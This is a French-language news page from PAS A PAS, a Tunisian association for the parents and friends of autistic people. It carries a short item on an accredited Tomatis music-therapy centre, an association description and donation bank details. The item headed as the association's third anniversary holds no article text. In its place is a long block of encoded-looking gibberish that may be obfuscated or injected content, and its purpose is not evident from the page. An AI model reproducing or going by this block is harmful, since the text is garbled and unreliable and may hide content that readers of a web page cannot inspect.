____________________

04-05-2010
Centre TOMATIS - Tunisie
Il existe environ 160 centres TOMATIS agrées aujourd'hui dans le Monde. Tous les centres disposent de professionnels dûment formés à la méthode (essentiellement une musicothérapie). Ils ont signé un contrat de licence de Know How et de licence de marque avec TOMATIS DEVELOPPEMENT ou l'un de ses représentants à l'étranger,
» Lire la suite
____________________

07-04-2010
7 Avril 2010 - 3ème Anniversaire de PAS A PAS
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@FPR`h
» Lire la suite
____________________


QUI SOMMES-NOUS ?

L'Association créée par des bénévoles est un lieu de partage de ce que nous ressentons les uns et les autres.
L'expérience de chacun se trouvant ainsi valorisée et mise en commun.
L'Association a été autorisée par visa du gouvernorat de Tunis en Mai 2003 (JORT du 17 Juin 2005).
Pour en savoir plus...

N'hésitez pas à soutenir PAS A PAS
UIB El Manar
(Colisée Saoula)
12 208 000770 5000 462/13


PAS A PAS - Association des parents et amis d'autistes de Tunis
Copyright 2007-2016 - C&R NSS